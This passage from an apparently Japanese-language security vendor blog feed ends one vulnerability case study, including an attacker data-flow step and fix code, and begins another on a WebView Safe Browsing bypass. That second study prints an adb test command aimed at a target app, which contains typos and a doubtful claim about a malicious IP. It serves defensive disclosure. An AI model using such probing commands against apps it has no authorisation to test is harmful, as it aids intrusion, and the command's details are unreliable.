class="p"&gt;]}&lt;/span&gt;
&lt;span class="mf"&gt;7.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Attacker&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;receives&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sensitive&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BOM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;なぜ重要か：コンテキストを理解するハンターとしてのスキャナー&lt;/strong&gt;
この検出結果は、自動テストにおける重要な進化を示しています。スキャナーは単にバグを見つけただけではありません。次のようにして、&lt;strong&gt;脆弱性のストーリーを語った&lt;/strong&gt;のです。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;境界を&lt;strong&gt;体系的にプロービング&lt;/strong&gt;し、フィルターの挙動を把握する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;クライアントサイドのコードを解析&lt;/strong&gt;し、データフロー全体をマッピングする&lt;/li&gt;
&lt;li&gt;複数のアプリケーションの状態にまたがって&lt;strong&gt;状態の変化を追跡&lt;/strong&gt;する&lt;/li&gt;
&lt;li&gt;リスクなしに悪用可能性を実証する&lt;strong&gt;安全なPoCを作成&lt;/strong&gt;する&lt;/li&gt;
&lt;li&gt;具体的なコード修正を含む&lt;strong&gt;実行可能な修復策を提供&lt;/strong&gt;する&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;生成された修復コード：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// IMMEDIATE CLIENT-SIDE FIX (Generated by Scanner)&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;isAllowedDestination&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Enforce https only and exact host/path allowlist&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;allowedHosts&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Set&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s2"&gt;"partner.REDACTED"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"nizke-napeti.cz.REDACTED"&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Enforce HTTPS only&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;protocol&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https:"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Strict host allowlist&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;allowedHosts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;has&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// PERMANENT SERVER-SIDE FIXES (Scanner Recommendations):&lt;/span&gt;
&lt;span class="mf"&gt;1.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Replace&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;raw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;URLs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;opaque&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;signed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;identifiers&lt;/span&gt;
&lt;span class="mf"&gt;2.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;side&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;validation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;against&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;strict&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;allowlist&lt;/span&gt;
&lt;span class="mf"&gt;3.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Perimeter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;rule&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="nx"&gt;https&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//(partner\.REDACTED|nizke-napeti\.cz\.REDACTED)(/|$)&lt;/span&gt;
&lt;span class="mf"&gt;4.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CSP&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;navigate&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'self'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;https&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//partner.REDACTED https://nizke-napeti.cz.REDACTED&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;まとめ&lt;/strong&gt;
Webの脆弱性を取り巻く状況は、ますます複雑なクライアントサイドのロジックによって形づくられるようになっています。このケーススタディは、当社のエンジンが次の点で従来のスキャンを超えていることを示しています。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;SPAの状態を理解する&lt;/strong&gt;：&lt;code&gt;sessionStorage&lt;/code&gt;をまたいでデータを追跡する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;クライアントサイドのデータフローをマッピングする&lt;/strong&gt;：ソースからシンクまで&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;インテリジェントにテストする&lt;/strong&gt;：エッジケースとフィルターのバイパスをプロービングする&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エビデンスを提供する&lt;/strong&gt;：生のHTTPの取得結果、コード解析、安全なPoC&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;修正を推奨する&lt;/strong&gt;：具体的で実行可能な修復コード&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;これは単なるスキャンではなく、調査です。当社のスキャナーは攻撃者と同じようにアプリケーションをモデル化し、現代のアプリケーションが意図せず生み出してしまう高度な攻撃チェーンを明らかにし、それらを修正するために必要なエビデンスと解決策を提供します。&lt;/p&gt;</content><category term="Security"/><category term="security"/><category term="pentest"/><category term="web"/><category term="vulnerability"/></entry><entry><title>さらにその先へ：OstorlabのAIエンジンが未知の脆弱性クラスを発見する</title><link href="https://blog.ostorlab.co/ja/going-beyond-ostorlab-ai-engine-discovers-unknown-vulnerability-classes.html" rel="alternate"/><published>2025-10-13T16:20:00+02:00</published><updated>2025-10-13T16:20:00+02:00</updated><author><name>Ostorlab Team</name></author><id>tag:blog.ostorlab.co,2025-10-13:/ja/going-beyond-ostorlab-ai-engine-discovers-unknown-vulnerability-classes.html</id><summary type="html">&lt;p&gt;Ostorlabの推論駆動型AIエンジンは、ルールベースの限界を突破し、これまで未知で検出が難しかった脆弱性を表面化させます。WebViewのSafe Browsingバイパス、プロジェクション経由のSQLi、WebCrypto鍵の窃取、JWT検証順序の欠陥などを含め、より深く、より賢く、補完的なセキュリティカバレッジを実現します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;自動化された脆弱性スキャンは、本質的にルールベースです。そうしたルールには、避けられない2つの限界があります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;すでに知られているものしか検出できない。  &lt;/li&gt;
&lt;li&gt;ルールの構築と保守にはコストがかかるため、最もリスクが高く、発生の可能性が高い問題を優先する。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;その結果、未知のものや単発のエッジケース、たとえばRCEにつながり得る独自言語の癖のようなものは、通常のカバレッジの外に残されます。&lt;/p&gt;
&lt;p&gt;推論を備えたAI駆動型テストは、この枠組みを打ち破ります。仮説を立て、コンテキストに適応し、静的なルールが決して符号化できなかった方法で探索できます。&lt;/p&gt;
&lt;p&gt;とはいえ、まだ完全な代替ではありません。費用対効果の観点では、チューニングされたルールエンジンのほうが、既知のチェックをはるかに高速かつ安価に実行します。&lt;/p&gt;
&lt;p&gt;理論はこのくらいにして、実践に移りましょう。 &lt;/p&gt;
&lt;p&gt;以下の例は、OstorlabのAIエンジンが、私たちが可能だと思っていなかった真に新しい脆弱性を発見する様子を示しています。あわせて、現在の自動化が日常的に見逃している、周縁的で検出の難しい問題も取り上げます。&lt;/p&gt;
&lt;h1 id="ケーススタディ1:webviewのsafe browsingバイパス"&gt;ケーススタディ1：WebViewのSafe Browsingバイパス&lt;/h1&gt;
&lt;p&gt;あるモバイルアプリケーションの評価において、AIエンジンは一見すると安全に見える標準的なWebView実装に遭遇しました。アプリケーションは標準的なセキュリティ設定でリモートコンテンツを読み込んでいましたが、AIの体系的なアプローチによって興味深い見落としが明らかになりました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;WebView&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;webView&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;findViewById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;webview&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;WebSettings&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;webSettings&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;webView&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getSettings&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;webSettings&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setJavaScriptEnabled&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;webSettings&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setDomStorageEnabled&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;webView&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;loadUrl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;AIはまず、WebViewの設定をAndroidのセキュリティドキュメントと照らし合わせて分析しました。多くのセキュリティガイドは、ファイルアクセスやJavaScriptインターフェースの有効化といった目に見える設定ミスに注目しますが、AIは、Googleのマルウェアおよびフィッシング対策であるSafe Browsingが明示的に有効化・検証されていないことを特定しました。&lt;/p&gt;
&lt;p&gt;AIは、WebViewの挙動をさまざまな脅威シナリオに対して体系的にテストしました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;マルウェア検出テスト：既知のマルウェアをホストするドメインの読み込み  &lt;/li&gt;
&lt;li&gt;フィッシング検出テスト：説得力のあるフィッシングページの作成  &lt;/li&gt;
&lt;li&gt;混在コンテンツ分析：HTTPS環境内でのHTTPコンテンツのテスト  &lt;/li&gt;
&lt;li&gt;証明書検証：SSL/TLS証明書の取り扱いの検査&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;重要な発見：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;//&lt;span class="w"&gt; &lt;/span&gt;AI-generated&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;payload
Adb&lt;span class="w"&gt; &lt;/span&gt;shell&lt;span class="w"&gt; &lt;/span&gt;am&lt;span class="w"&gt; &lt;/span&gt;start&lt;span class="w"&gt; &lt;/span&gt;-a&lt;span class="w"&gt; &lt;/span&gt;android.inetnt.action.VIEW&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;xxx/.ArticleViewerActivity&lt;span class="w"&gt; &lt;/span&gt;&amp;ndash;es&lt;span class="w"&gt; &lt;/span&gt;url&lt;span class="w"&gt; &lt;/span&gt;&amp;ldquo;https://testsafebrowsing.appspot.com/s/phishing.html&amp;rdquo;&lt;span class="w"&gt; &lt;/span&gt;
//&lt;span class="w"&gt; &lt;/span&gt;This&lt;span class="w"&gt; &lt;/span&gt;resolved&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;a&lt;span class="w"&gt; &lt;/span&gt;known&lt;span class="w"&gt; &lt;/span&gt;malicious&lt;span class="w"&gt; &lt;/span&gt;IP&lt;span class="w"&gt; &lt;/span&gt;without&lt;span class="w"&gt; &lt;/span&gt;triggering&lt;span class="w"&gt; &lt;/span&gt;Safe&lt;span class="w"&gt; &lt;/span&gt;Browsing&lt;span class="w"&gt; &lt;/span&gt;warnings
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;AIは、Safe BrowsingがAndroid 8.0以降ではデフォルトで有効になっているものの、アプリケーションがこの保護が有効であることを一切検証しておらず、古いAndroidバージョンや改造されたROMではこの保護が無効化またはバイパスされる可能性があることを発見しました。&lt;/p&gt;
&lt;p&gt;このケースでは、Safe Browsingチェックが存在しないことで、アプリに許可リストがないためフィッシングのリスクが高まります。&lt;/p&gt;
&lt;p&gt;AIは、攻撃者が次のことを行い得ることを実証しました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;脆弱なデバイス設定上でSafe Browsing保護をバイパスする  &lt;/li&gt;
&lt;li&gt;ユーザーには正当に見える悪意あるコンテンツを配信する  &lt;/li&gt;
&lt;li&gt;アプリケーションとリモートコンテンツの間の信頼関係を悪用する&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;AIが生成した修正：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;WebView&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;webView&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;findViewById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;webview&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;WebSettings&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;webSettings&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;webView&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getSettings&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;// Explicitly enable and verify Safe Browsing&lt;/span&gt;
&lt;span class="n"&gt;webSettings&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setSafeBrowsingEnabled&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="n"&gt;webView&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setSafeBrowsingWhitelist&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Arrays&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;asList&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"trusted-domain.com"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="n"&gt;webView&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setWebViewClient&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WebViewClient&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;onSafeBrowsingHit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WebView&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WebResourceRequest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;                                  &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;threatType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SafeBrowsingResponse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;callback&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// AI identified this callback as critical for proper threat handling&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;threatType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SAFE_BROWSING_THREAT_MALWARE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;threatType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SAFE_BROWSING_THREAT_PHISHING&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;callback&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;backToSafety&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;w&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Security"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"Blocked malicious URL: "&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getUrl&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;shouldOverrideUrlLoading&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WebView&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WebResourceRequest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// AI-generated additional validation&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getUrl&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isKnownMaliciousDomain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;containsSuspiciousPatterns&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
